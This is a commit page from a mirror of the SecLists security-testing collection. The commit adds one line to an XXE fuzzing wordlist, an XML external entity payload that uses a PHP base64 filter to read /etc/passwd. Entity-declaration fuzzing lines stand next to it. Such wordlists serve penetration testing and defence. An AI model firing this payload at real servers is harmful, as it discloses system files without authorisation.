Backup_Repos/SecLists
1
0
Fork 0
mirror of https://github.com/danielmiessler/SecLists synced 2025-12-07 17:34:22 +01:00
Code Issues Projects Releases Wiki Activity

Close ##152 - PHP base64 filter file read (XXE_Fuzzing)

Browse source
This commit is contained in:
g0tmi1k 2018-03-21 16:13:09 +00:00
parent 1863878864
commit 26cf832f9d
1 changed files with 1 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

1
Fuzzing/XXE-Fuzzing.txt
View file

@ -1,3 +1,4 @@
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >
<?xml version="1.0" encoding="ISO-8859-1"?> <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]> <!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]>
<!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root> <!DOCTYPE xxe [<!ENTITY foo "aaaaaa">]><root>&foo;</root>